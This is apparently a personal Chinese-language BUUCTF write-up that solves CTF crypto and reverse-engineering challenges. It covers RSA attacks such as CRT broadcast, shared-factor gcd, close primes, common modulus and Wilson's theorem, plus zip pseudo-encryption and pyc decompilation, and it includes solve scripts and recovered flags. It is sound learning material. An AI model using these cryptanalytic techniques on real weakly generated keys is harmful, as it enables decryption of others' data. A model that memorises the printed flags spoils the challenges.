c=[c1,c2,c3]
n=[n1,n2,n3]
me=crt(c,n)
#infact 1<e<=3
for e in range(2,10):
    if me.nth_root(e,1)[1]==1:
        m=me.nth_root(e,1)[0]
        break
print(long_to_bytes(m))
#b'noxCTF{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!}'

数学导数-[BJDCTF2020]easyrsa

from Crypto.Util.number import getPrime,bytes_to_long
from sympy import Derivative
from fractions import Fraction
from secret import flag
p=getPrime(1024)
q=getPrime(1024)
e=65537
n=p*q
z=Fraction(1,Derivative(arctan(p),p))-Fraction(1,Derivative(arth(q),q))
m=bytes_to_long(flag)
c=pow(m,e,n)
print(c,z,n)

其他的都没啥,n/p/q/e/c都是常规的,这里多出来一个z。n/c/e已知,需要通过z的值求出pq。

z的表达式里好多东西没接触过,分别了解一下

  • Fraction,生成分数
>>> from fractions import Fraction     #插入模块
>>> f =Fraction(1,2)    #创建Fraction 类,并初始化为1/2
>>> f #输出分数类对象
Fraction(1, 2)
#实际上就是生成一个新的分数对象
  • Derivative(导数)

  • arctan:Arctangent(即arctan)指反正切函数,反正切函数是反三角函数的一种,即正切函数的反函数:
    导数计算后,y’(x)=1/(1+x^2)
    BUUCTF WriteUp - 图73%2Cp)%3D%5Cfrac%7B1%7D%7B1%2Bx%5E2%7D#card=math&code=Derivative%28arctan%28p%29%2Cp%29%3D%5Cfrac%7B1%7D%7B1%2Bx%5E2%7D)

  • arth:th是双曲正切、sh是双曲正弦、ch是双曲余弦、cth是双曲余切。
    arth是反双曲正切。

    y = arthx = (1/2)ln[(1+x)/(1-x)] y' = (1/2)[(1-x)/(1+x)][(1-x)+(1+x)]/(1-x)^2 = [(1-x)/(1+x)]/(1-x)^2 = 1/(1-x^2)


BUUCTF WriteUp - 图74%2Cq%EF%BC%89%3D%5Cfrac%7B1%7D%7B1-q%5E2%7D#card=math&code=Derivative%28arth%28q%29%2Cq%EF%BC%89%3D%5Cfrac%7B1%7D%7B1-q%5E2%7D)

所以BUUCTF WriteUp - 图75-(1-q%5E2)%3Dp%5E2%2Bq%5E2#card=math&code=z%3D%281%2Bp%5E2%29-%281-q%5E2%29%3Dp%5E2%2Bq%5E2)

n = pq,两个方程联立,轻松求出pq,于是解密

from Crypto.Util.number import *
#import n/z/c/e
a=(z-2*n).nth_root(2)
b=(z+2*n).nth_root(2)
p=(a+b)//2
q=b-p
phi=(p-1)*(q-1)
d=inverse_mod(e,phi)
m=pow(c,d,n)
long_to_bytes(m)
#BJD{Advanced_mathematics_is_too_hard!!!}

伪加密-[ACTF新生赛2020]crypto-rsa0

一开始竟然hint提示文件包是伪加密,突然杂项

压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密) 头文件标记后2bytes

50 4B 03 04和50 4B 14 00后面两个字节都改成00 00,即可解压。

后面的都很简单了,给了p/q/c/e

actf{n0w_y0u_see_RSA}

多组n-RSA5

明文m和e=65537固定,然后给了若干组n和c.

如果e比较小,可以用低幂指数广播攻击,即crt。不过使用crt要求给的n-c数量至少要和e相同。这题有点神奇的。

后面发现是模不互素的问题,核心其实是这样的:

  • 平时要破解rsa最简单直接的方法是分解出p/q,但是n过大的时候很难分解
  • 当有很多组n的时候,如果有两组之间有公因子,那么可以利用这个公因子对n进行分解。实际上等于帮助电脑做暴力破解。
n=[n1,n2,n3,n4,n5,n6,n7,n8,n9,n10,n11,n12,n13,n14,n15,n16,n17,n18,n19,n20]
c=[c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14,c15,c16,c17,c18,c19,c20]
for i in range(20):
    for j in range(20):
        if (i<j):
            if(gcd(n[i],n[j])!=1):
                print('n%d and n%d' %(i+1,j+1))
                p=gcd(n[i],n[j])
                print(p)
q=n5//p
phi=(p-1)*(q-1)
d=inverse_mod(e,phi)
m=pow(c5,d,n5)
print(m)
print(long_to_bytes(m))
#b'flag{abdcbe5fd94e23b3de429223ab9c2fdf}'

pq相近-[GWCTF 2019]BabyRSA

flag = 'GWHT{******}'
secret = '******'
assert(len(flag) == 38)
half = len(flag) / 2
flag1 = flag[:half]
flag2 = flag[half:]
secret_num = getPrime(1024) * bytes_to_long(secret)
p = sympy.nextprime(secret_num)
q = sympy.nextprime(p)
N = p * q
e = 0x10001
F1 = bytes_to_long(flag1)
F2 = bytes_to_long(flag2)
c1 = F1 + F2
c2 = pow(F1, 3) + pow(F2, 3)
assert(c2 < N)
m1 = pow(c1, e, N)
m2 = pow(c2, e, N)

注意到生成prime的时候,用了nextprime(),所以p/q非常接近。

可以通过BUUCTF WriteUp - 图76来求出pq。从而求出c1/c2

flag共38位,被拆成了两半。然后

BUUCTF WriteUp - 图77

用工具解方程即可。前面的不赘述了,用到了sage的next_prime()函数。

后面解方程,用sage或者z3都可以,注意sage在notebook下编辑解方程有时会报错

GWHT{f709e0e2cfe7e530ca8972959a1033b2}

简单题型-[ACTF新生赛2020]crypto-rsa3

p/q大小接近,因此n开方寻找即可

actf{p_and_q_should_not_be_so_close_in_value}

威尔逊定理-[RoarCTF2019]babyRSA

def myGetPrime():
    A= getPrime(513)
    print(A)
    B=A-random.randint(1e3,1e5)
    print(B)
    return sympy.nextPrime((B!)%A)
p=myGetPrime()
q=myGetPrime()
r=myGetPrime()

n=p*q*r
c=pow(flag,e,n)

代码里出现了一个奇怪的表达式:BUUCTF WriteUp - 图78%5Cbmod%7BA%7D#card=math&code=%28B%21%29%5Cbmod%7BA%7D)

完全不知道(B!)是什么意思

原来是(B!)是阶乘!!!看久了代码看到!总想到否

然后是威尔逊定理

当且仅当p为素数时:( p -1 )! ≡ -1 ( mod p )

BUUCTF WriteUp - 图79!%5Cequiv-1%5Cbmod%7BA%7D#card=math&code=%28A-1%29%21%5Cequiv-1%5Cbmod%7BA%7D)

我们现有BUUCTF WriteUp - 图80%5Cbmod%7BA%7D#card=math&code=%28B%21%29%5Cbmod%7BA%7D),考虑在前面加上

BUUCTF WriteUp - 图81!%5C%25%7BA%7D%3D(A-1)(A-2)%5Ccdots(B%2B1)(B!)%5C%25%7BA%7D%3D-1#card=math&code=%28A-1%29%21%5C%25%7BA%7D%3D%28A-1%29%28A-2%29%5Ccdots%28B%2B1%29%28B%21%29%5C%25%7BA%7D%3D-1)

BUUCTF WriteUp - 图82%5Ccdots(B%2B1)(B!)%5C%25%7BA%7D%3D1#card=math&code=%28A-2%29%5Ccdots%28B%2B1%29%28B%21%29%5C%25%7BA%7D%3D1)

所以BUUCTF WriteUp - 图83%5Cbmod%7BA%7D#card=math&code=%28B%21%29%5Cbmod%7BA%7D),可以用逆元求出

BUUCTF WriteUp - 图84%5C%25%7BA%7D%3Dinverse%5C_mod(%7B(A-2)%5Ccdots(B%2B1)%7D%2CA)#card=math&code=%28B%21%29%5C%25%7BA%7D%3Dinverse%5C_mod%28%7B%28A-2%29%5Ccdots%28B%2B1%29%7D%2CA%29)

定理的关键是对于q的阶乘模p,可以转换为q+1到p-2的连乘的积再模p

from Crypto.Util.number import *
def findab(a,b):
    tmp = 1
    for i in range(b+1,a-1):
        tmp *= i
        tmp %= a
    tmp = inverse_mod(tmp,a)
    return next_prime(tmp)
p=findab(A1,B1)
q=findab(A2,B2)
r=n//p//q
phi = (p-1)*(q-1)*(r-1)
d= inverse_mod(e,phi)
m=pow(c,d,n)
long_to_bytes(m)
#b'RoarCTF{wm-CongrAtu1ation4-1t4-ju4t-A-bAby-R4A}'

fermat定理-[V&N2020 公开赛]Fast

p = getPrime(1024)
q = getPrime(1024)
N = p * q
g, r1, r2 = [getRandomRange(1, N) for _ in range(3)]
g1 = pow(g, r1 * (p-1), N)
g2 = pow(g, r2 * (q-1), N)
def encrypt(m):
    s1, s2 = [getRandomRange(1, N) for _ in range(2)]
    c1 = (m * pow(g1, s1, N)) % N
    c2 = (m * pow(g2, s2, N)) % N
    return (c1, c2)
def decrypt(c1, c2):
    xp = c1 % p
    xq = c2 % q
    # Chinese Remainder Theorem
    m = (xp*inverse(q, p)*q + xq*inverse(p, q)*p) % N
    return m

注意到后面给了一个解密方程,所以只需要求出p、q,放进去就可以解密。

考虑encrypt中给了c1/c2,那按逻辑来说,就是通过g1/g2的值,求p/q。带入解密,得到flag:

BUUCTF WriteUp - 图85%7D%5Cequiv%7Bg1%7D%5Cbmod%7BN%7D%5C%5C%0A%26g1%20%3D%20kN%2Bg%5E%7Br1(p-1)%7D%5C%5C%0A%26%E4%B8%A4%E8%BE%B9%E9%83%BD%5Cbmod%7Bp%7D%5C%5C%0A%26g1%5Cbmod%7Bp%7D%3Dg%5E%7Br1(p-1)%7D%5Cbmod%7Bp%7D%5C%5C%0A%26%E8%B4%B9%E9%A9%AC%E5%B0%8F%E5%AE%9A%E7%90%86%E6%9C%89%EF%BC%9Aa%5E%7Bp-1%7D%5Cequiv1%5Cbmod%7Bp%7D%5C%5C%0A%26%E6%95%85g1%5Cbmod%7Bp%7D%3Dg%5E%7Br1(p-1)%7D%5Cbmod%7Bp%7D%3D%7B(g%5E%7B(p-1)%7D%5Cbmod%7Bp%7D)%7D%5E%7Br1%7D%5Cbmod%7Bp%7D%3D1%5E%7Br1%7D%5Cbmod%7Bp%7D%3D1%5C%5C%0A%26g1%5Cbmod%7Bp%7D%3D1%5C%5C%0A%26%E5%90%8C%E7%90%86g2%5Cbmod%7Bq%7D%3D1%0A%5Cend%7Baligned%7D%0A#card=math&code=%5Cbegin%7Baligned%7D%0A%26g%5E%7Br1%28p-1%29%7D%5Cequiv%7Bg1%7D%5Cbmod%7BN%7D%5C%5C%0A%26g1%20%3D%20kN%2Bg%5E%7Br1%28p-1%29%7D%5C%5C%0A%26%E4%B8%A4%E8%BE%B9%E9%83%BD%5Cbmod%7Bp%7D%5C%5C%0A%26g1%5Cbmod%7Bp%7D%3Dg%5E%7Br1%28p-1%29%7D%5Cbmod%7Bp%7D%5C%5C%0A%26%E8%B4%B9%E9%A9%AC%E5%B0%8F%E5%AE%9A%E7%90%86%E6%9C%89%EF%BC%9Aa%5E%7Bp-1%7D%5Cequiv1%5Cbmod%7Bp%7D%5C%5C%0A%26%E6%95%85g1%5Cbmod%7Bp%7D%3Dg%5E%7Br1%28p-1%29%7D%5Cbmod%7Bp%7D%3D%7B%28g%5E%7B%28p-1%29%7D%5Cbmod%7Bp%7D%29%7D%5E%7Br1%7D%5Cbmod%7Bp%7D%3D1%5E%7Br1%7D%5Cbmod%7Bp%7D%3D1%5C%5C%0A%26g1%5Cbmod%7Bp%7D%3D1%5C%5C%0A%26%E5%90%8C%E7%90%86g2%5Cbmod%7Bq%7D%3D1%0A%5Cend%7Baligned%7D%0A)

所以

g1- 1 = x*p
gcd(n,g1-1) == p
g2 - 1 = y*q
gcd(n,g2-1) == q
#事实上好像gcd(n,g1-1)并不一定等于p,有可能是k*p。所以先求出来,至少公因数会是n的因子
#本题正好求出是p和q

所以通过最大公约数可以求得pq。

再看encrypt:

def encrypt(m):
    s1, s2 = [getRandomRange(1, N) for _ in range(2)]
    c1 = (m * pow(g1, s1, N)) % N
    c2 = (m * pow(g2, s2, N)) % N
    return (c1, c2)

这里推导一下算法(推导失败):

BUUCTF WriteUp - 图86%7D%5Cbmod%7BN%7D)%5Cbmod%20%7BN%7D%5C%5C%0A%26c1%3D((m)(%7B%7Bk_1%7Dp%2B1%7D)%5E%7Bs1%7D%5Cbmod%7BN%7D)%5Cbmod%20%7BN%7D%5C%5C%0A%26c1%3Dm%7B((%7Bkn)%7D%7Bq%5En%7D%2B%7Bk%7Bn-1%7D%7D%7Bq%5E%7Bn-1%7D%2B%5Ccdots%2B1)%7D%5Cbmod%20%7BN%7D)%5Cbmod%7BN%7D%7D%5C%5C%0A%26%3Dm%7B((kN%2Bg1%5E%7Bs1%7D)%5Cbmod%20%7BN%7D)%7D%3Dm(k%2Bg1%5E%7Bs1%7D%5Cbmod%7BN%7D)%5C%5C%0A%26g1%3D%7Bk1%7Dp%2B1%5C%5C%0A%26pqc1%3Dm*(k%2B(%7B%7Bk_1%7Dp%2B1%7D)%5E%7Bs1%7D%5Cbmod%7BN%7D)%3D%5C%5C%0A%5Cend%7Baligned%7D%0A#card=math&code=%5Cbegin%7Baligned%7D%0A%26c1%3D%28m%2A%7B%28g1%5E%7Bs1%7D%29%7D%5Cbmod%7BN%7D%29%5Cbmod%20%7BN%7D%5C%5C%0A%26c1%3D%28%28m%29%2A%28%7B%7Bk_1%7Dp%2B1%7D%29%5E%7Bs1%7D%5Cbmod%7BN%7D%29%5Cbmod%20%7BN%7D%5C%5C%0A%26c1%3Dm%2A%7B%28%28%7Bk_n%29%7D%7Bq%5En%7D%2B%7Bk%7Bn-1%7D%7D%7Bq%5E%7Bn-1%7D%2B%5Ccdots%2B1%29%7D%5Cbmod%20%7BN%7D%29%5Cbmod%7BN%7D%7D%5C%5C%0A%26%3Dm%2A%7B%28%28kN%2Bg1%5E%7Bs1%7D%29%5Cbmod%20%7BN%7D%29%7D%3Dm%2A%28k%2Bg1%5E%7Bs1%7D%5Cbmod%7BN%7D%29%5C%5C%0A%26g1%3D%7Bk_1%7Dp%2B1%5C%5C%0A%26pqc1%3Dm%2A%28k%2B%28%7B%7Bk_1%7Dp%2B1%7D%29%5E%7Bs1%7D%5Cbmod%7BN%7D%29%3D%5C%5C%0A%5Cend%7Baligned%7D%0A)

直接套用decrypt可以得到flag:

from Crypto.Util.number import *
p=gcd((g1-1),N)
q=gcd((g2-1),N)
phi=(p-1)*(q-1)
xp = c1 % p
xq = c2 % q
m = (xp*inverse_mod(q, p)*q + xq*inverse_mod(p, q)*p) % N
long_to_bytes(m)
#b'flag{1CE9514E-12AF-49BE-B002-6A3D7E6078FA}\x00\x0bob\xf8

门限加密(Asmnth-Bloom)-[AFCTF2018]花开宝藏地

杂项题,看了以后根据提示。

  • secret1是爆破生日数字:19260817
  • secret2爆破英文字母:alice
  • secret4伪加密
  • secret5 ntfs隐写

得到四组x和m,题目说只要3组就行了

应该是e=3,然后共模攻击。即明文m不变,给出改变的c和n。可是如果是这样,为什么还需要提示一个大数?

而且实际运算以后,并无法得到flag

百度了一下,原来这是标准的门限秘密共享方案(threshold secret sharing scheme),简称门限方案

http://www.matrix67.com/blog/archives/1261

假设公司董事会共五个人,每个人保存秘钥的一部分。要求三个人在场就可以拿到秘钥打开保险箱,而且保险箱打开后,无法知道到底是哪三个人提供的秘钥。

和这题提示正好对应:

于是我把藏宝图分成了5份,交给五位贤者让他们帮我妥善保管,并且只要搜集3份就可以获得宝藏的地址。

门限加密有多种方案,举个例子,三个平面能确定一个点。而有无数平面通过同一个点。

题目标题为花开,即Asmnth-Bloom方案

利用的就是中国剩余数定理,可以给出很多组n和c,满足m mod n =c,然后根据其中的几组就可以找到解,但要注意crt的有多解,只要是m+knn……n的都满足。

这题同理:

rom Crypto.Util.number import *

z=80804238007977405688648566160504278593148666302626415149704905628622876270862865768337953835725801963142685182510812938072115996355782396318303927020705623120652014080032809421180400984242061592520733710243483947230962631945045134540159517488288781666622635328316972979183761952842010806304748313326215619695085380586052550443025074501971925005072999275628549710915357400946408857

x5 = 230502064382947282343660159791611936696520807970361139469603458689311286041516767875903549263861950740778705012699983268093626403307298415066249636346303539570207577050391796770068203937723627361951969413683246596072925692670365490970847825269581004483964261491917680759091791653759514213188778401968676433284753781006738293752440186858616315727565803777032119737689210471541053061940547213
m5 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820822249
x4 = 100459779913520540098065407420629954816677926423356769524759072632219106155849450125185205557491138357760494272691949199099803239098119602186117878931534968435982565071570831032814288620974807498206233914826253433847572703407678712965098320122549759579566316372220959610814573945698083909575005303253205653244238542300266460559790606278310650849881421791081944960157781855164700773081375247
m4 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820820091
x2 = 152012681270682340051690627924586232702552460810030322267827401771304907469802591861912921281833890613186317787813611372838066924894691892444503039545946728621696590087591246339208248647926966446848123290344911662916758039134817404720512465817867255277476717353439505243247568126193361558042940352204093381260402400739429050280526212446967632582771424597203000629197487733610187359662268583
m2 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820818553
x2 = 152012681270682340051690627924586232702552460810030322267827401771304907469802591861912921281833890613186317787813611372838066924894691892444503039545946728621696590087591246339208248647926966446848123290344911662916758039134817404720512465817867255277476717353439505243247568126193361558042940352204093381260402400739429050280526212446967632582771424597203000629197487733610187359662268583
m2 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820818553

x1 = 305345133911395218573790903508296238659147802274031796643017539011648802808763162902335644195648525375518941848430114497150082025133000033835083076541927530829557051524161069423494451667848236452337271862085346869364976989047180532167560796470067549915390773271207901537847213882479997325575278672917648417868759077150999044891099206133296336190476413164240995177077671480352739572539631359
m1 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820813413
c=[x1,x2,x4]
n=[m1,m2,m4]
a=crt(c,n)
#通过这一步来去除掉kn1n2n3的干扰,实际上这题题目中给你的就是n1*n2*n3*n4*n5.
r=a%z
print(long_to_bytes(r))
#b"A treasure map is a map that marks the location of buried treasure, a lost mine, a valuable secret or a hidden locale. So flag is afctf{1sn't_s0_int3Resting}."

共模攻击-[HDCTF2019]together

有两个密文两个公钥,密文是base64加密的,需要解密后用bytes_to_long()转成数字再计算。

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import base64 
with open(r'D:\code\ctf\题库\buuctf题目\crypto\[HDCTF2019]together\pubkey1.pem' ,'r') as f:
    key = RSA.import_key(f.read())
    e1 = key.e
    n1 = key.n
with open(r'D:\code\ctf\题库\buuctf题目\crypto\[HDCTF2019]together\pubkey2.pem' ,'r') as f:
    key = RSA.import_key(f.read())
    e2 = key.e
    n2 = key.n
with open(r'D:\code\ctf\题库\buuctf题目\crypto\[HDCTF2019]together\myflag1' ,'rb') as f:    
    flag1 = f.read()
    flag1 = base64.b64decode(flag1)
    flag1 = bytes_to_long(flag1)
with open(r'D:\code\ctf\题库\buuctf题目\crypto\[HDCTF2019]together\myflag2' ,'rb') as f:    
    flag2 = f.read()
    flag2=base64.b64decode(flag2)
    flag2 = bytes_to_long(flag2)

读取后发现两个公钥的n相同,e不同。

可以用共模攻击(共模攻击前提是e1/e2互质),即用扩展欧几里得算法求出:BUUCTF WriteUp - 图87的两个解

m=(c1s1) %N

from Crypto.Util.number import *
n=14853081277902411240991719582265437298941606850989432655928075747449227799832389574251190347654658701773951599098366248661597113015221566041305501996451638624389417055956926238595947885740084994809382932733556986107653499144588614105694518150594105711438983069306254763078820574239989253573144558449346681620784979079971559976102366527270867527423001083169127402157598183442923364480383742653117285643026319914244072975557200353546060352744263637867557162046429886176035616570590229646013789737629785488326501654202429466891022723268768841320111152381619260637023031430545168618446134188815113100443559425057634959299
e1=2333
e2=23333
c1=9019830127966606906464163705535027700561898947418322215393908445009242179167597651925841118316630701618436764264699314552447720149593429706316419331896724446094136347810583285346557783936628597847493120016473433473330251114748446427062675501559006975193129803994725192341142651123081596938614511835997876348473802944655262159234368886342372288177602939577681373118900661853369729955669191349550944243083931363775278368006736861968373929659452324928717576454476283569924557611587202305905995850467023599457853064826143558839450619335648344789044580250617378775696602242486907674188020686038355268018529452212723060692
c2=7563852349633487798997172876975591429209075092735397576666034100512529825482444173697941660689932482429363510797912607835964683622045467097999152958495208182723131508451922493376602015184587042150008175319229695236575996965109722740106063395302603470942179722934026775469056507532049664349338297417549652192151214021245619467351572107095850571209304871479252815905952520340200706932283707839077271667181519283111113310156811157311493370032898609825259831287805863768559277229081013434445216553375342584470159735519515161060405187679495646834149664149144845293116225595350930746749956697077616155117458970304949375967
s1=xgcd(e1,e2)[1]
s2=xgcd(e1,e2)[2]
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(long_to_bytes(m))
#b'flag{23re_SDxF_y78hu_5rFgS}'

欧拉函数-[MRCTF2020]babyRSA

仔细分析了一下代码,分析完发现其实应该从main开始看,实质上没啥难点。

main里面就是一个常规rsa,只是p和q是由自己写的函数生成的。

再反过头分析生成pq的代码

def gen_p():
    P = [0 for i in range(17)]
    P[0] = getPrime(128)
    for i in range(1, 17):
        P[i] = sympy.nextprime(P[i-1])
    print("P_p :", P[9])#p是从某一个质数开始后面连续的质数组成的list.打印出P[9]即可求得其牵头的质数,于是整个list内数据全部都知道
    n = 1
    for i in range(17):#n=list中元素之积,所以以上操作都是为了得到n.有P[9]自然能list,进而求出n
        n *= P[i]
    p = getPrime(1024)
    factor = pow(p, base, n)#factor=p^base%n,根据以上,n和base都已知。这里p是明文,factor和base/n已知,不好求p。此处是难点。
    print("P_factor :", factor)
    return sympy.nextprime(p)#返回p的下一个质数

def gen_q():
    sub_Q = getPrime(1024)
    Q_1 = getPrime(1024)
    Q_2 = getPrime(1024)
    Q = sub_Q ** Q_2 % Q_1#Q=pow(subQ,Q2,Q1)
    print("Q_1: ", Q_1)
    print("Q_2: ", Q_2)
    print("sub_Q: ", sub_Q)
    return sympy.nextprime(Q)#可根据前面的求出Q,自然也能求出gen_Q

这里轻松求出_Q,而要求出_P,需要解一个rsa,factor = pow(p, base, n)

事情好像又回到原点了,通过解开一个rsa才能求p,进而解出m。

后面一个rsa缺少p,已知条件只有c/e/q,怎么看都求不出来。

于是着重考虑factor = pow(p, base, n),注意到n其实是17个质数相乘,于是可以通过这个来分解n,n=p*q,其中p/q都为P[16]中元素的乘积。这个可能性是有限的,可以暴力碰撞。

而flag的前几位已知,暴力碰撞后解开n,就可以顺藤摸瓜解出明文,只要明文中出现对应已知字符,就说明找到了flag。

写代码找出所有P[16],所有可能的组合方式,变成一个排列组合题了。

BUUCTF WriteUp - 图88

这样做也没问题。但却不是最优解。

其实这题用的是欧拉函数求值的方法:

BUUCTF WriteUp - 图89

稍加计算可以得到

如果n=pqr……xx,则phi = (p-1)(q-1)(r-1)……(xx-1),其实也就是

BUUCTF WriteUp - 图90

from Crypto.Util.number import *

base = 65537
P_p = 206027926847308612719677572554991143421
P_factor = 213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839
Q_1 = 103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2 = 151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q = 168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
Ciphertext =  1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832

listp=[0]*17
listp[9]=P_p
#先从9-0填好相邻的素数,再从9-16填写好
for i in range(9,0,-1):
    thisprime = listp[i]
    listp[i-1] = previous_prime(thisprime)
for i in range(9,16):
    thisprime = listp[i]
    listp[i+1] = next_prime(thisprime)
#计算n
n=1
phin = 1
for i in listp:
    n *= i
    phin *= (i-1)

dn = inverse_mod(base,phin)
p = pow(P_factor,dn,n)
_P = next_prime(p)
#下面求_Q,直接根据生成公式即可
_Q = next_prime(pow(sub_Q,Q_2,Q_1))
N = _P * _Q
phi = (_P-1)*(_Q-1)
d = inverse_mod(base, phi)
m = pow(Ciphertext,d,N)
print(long_to_bytes(m))
#b'MRCTF{sti11_@_b@by_qu3st10n}'

鸡藕椒盐味(未做完)

公司食堂最新出了一种小吃,叫鸡藕椒盐味汉堡,售价八块钱,为了促销,上面有一个验证码,输入后可以再换取一个汉堡。但是问题是每个验证码几乎都有错误,而且打印的时候倒了一下。小明买到了一个汉堡,准备还原验证码,因为一个吃不饱啊验证码如下:1100 1010 0000 ,而且打印的时候倒了一下。把答案哈希一下就可以提交了。(答案为正确值(不包括数字之间的空格)的32位md5值的小写形式) 注意:得到的 flag 请包上 flag{} 提交

题目顾名思义,考奇偶校验位

奇偶校验位 (Parity)是指偶数或者奇数或甚至对一个数字的性质。奇偶校验通常用在数据通信中来保证数据的有效性。每个设备必须决定是否它将被用为偶校验、奇校验、或非校验。发送设备添加1s在每个它发送的每条串上或决定这个数是偶数或奇数。然后,它添加一个额外的位,叫做校验位,到这个串上。如果偶校验在使用,校验位将这些位置为偶数;如果奇校验在使用,校验位将这些位置为奇数。

奇偶校验位是一个表示给定位数的二进制数中 1 的个数是奇数还是偶数的二进制数。奇偶校验位是最简单的错误检测码

打印的时候倒了一下,因此原来的应该为:’0000 0101 0011’

提示是奇偶校验位,应该就是每四位的最后一位。有错的要改回来

https://baijiahao.baidu.com/s?id=1598006039749022275&wfr=spider&for=pc

https://my.oschina.net/u/3374461/blog/1931270

[AFCTF2018]一道有趣的题目(未做完)

#加密代码
def encrypt(plainText):
    space = 10
    cipherText = ""
    for i in range(len(plainText)):
        if i + space < len(plainText) - 1:
            cipherText += chr(ord(plainText[i]) ^ ord(plainText[i + space]))
        else:
            cipherText += chr(ord(plainText[i]) ^ ord(plainText[space]))
        if ord(plainText[i]) % 2 == 0:#为偶数
            space += 1
        else:#为奇数
            space -= 1
    return cipherText

# 密码
# 15120d1a0a0810010a031d3e31000d1d170d173b0d173b0c07060206

代码蛮简单的,分析一下。

密文共56位。

一开始space=10,然后对于(i+space)-1位之前的数据进行处理,处理方法是将明文异或明文space位后的数据,然后填入cipher中

其余的数据明文和 明文[space]位数据异或

进行结束后如果ord(plainText[i])是偶数则space+=1,否则space-=1

感觉没什么逻辑,从头反推的话感觉依赖关系很复杂,除非是联立很多个方程组才能解出来。不太靠谱。

于是尝试从最后一位反推起。想了十分钟找不到头绪。

还是从第一位看起

0+10<len(plainText)-1成立,cipherText[0]=21=ord(plainText[0]) ^ ord(plainText[10])

ord(plainText[0])不确定。

因为二者异或为奇数,能确定的是plainText[0]和plainText[10]中,一个为奇数,一个为偶数

  • hint:有一个特点,如果plainText是奇数,那么space-1,会导致第一个式子的异或(ord(plainText[i]) ^ ord(plainText[i + space])),前后两个字符异或的是同一个字符。

reserve

pyc逆向-[GWCTF 2019]pyre

挺坑的这题,总之pyc反编译结果不靠谱:

#反编译之后得到
print ('Welcome to Re World!')
print ('Your input1 is your flag~')
l = len(input1)
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1): #i从0取到l-1-1
    code[i] = code[i] ^ code[i + 1] 

print(code)
code = ['\x1f','\x12','\x1d','(','0', '4','\x01','\x06','\x14','4',',','\x1b', 'U', 
'?','o', '6','*',':','\x01','D',';','%','\x13']

这里有两个坑点,一个是其实输入的就是code,前面input代表的就是code。

第二个坑点坑了半天,原来code+=num

实际上是code =num,也就是code = (code+i)%128

解决了这两个,题目就没啥难点了:

code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
#code一共23位
for i in range(1,len(code)):
    code[22-i] = chr(ord(code[22-i])^ord(code[23-i]))
print(code)
lib = string.printable
result = ''
for i in range(len(code)):
    for j in lib:
        if(ord(code[i]) == (ord(j) + i)%128):
            result += j           
print(result)
print(len(result))
#['G', 'X', 'J', 'W', '\x7f', 'O', '{', 'z', '|', 'h', '\\', 'p', 'k', '>', '\x01', 'n', 'X', 'r', 'H', 'I', '\r', '6', '\x13']
#GWHT{Just_Re_1s_Ha66y!}
#23

小端存储、取地址-[GXYCTF2019]luck_guy

ida64打开文件,shift+f12发现flag的一部分。跟郑总以后发现存在变量f1中,x键查找引用。找到了输出flag的代码:

BUUCTF WriteUp - 图91

  for ( i = 0; i <= 4; ++i )
  {
    switch ( rand() % 200 )
    {
      case 1:
        puts("OK, it's flag:");
        memset(&s, 0, 0x28uLL);
        strcat((char *)&s, f1);
        strcat((char *)&s, &f2);
        printf("%s", &s);
        break;
      case 2:
        printf("Solar not like you");
        break;
      case 3:
        printf("Solar want a girlfriend");
        break;
      case 4:
        v6 = 0;
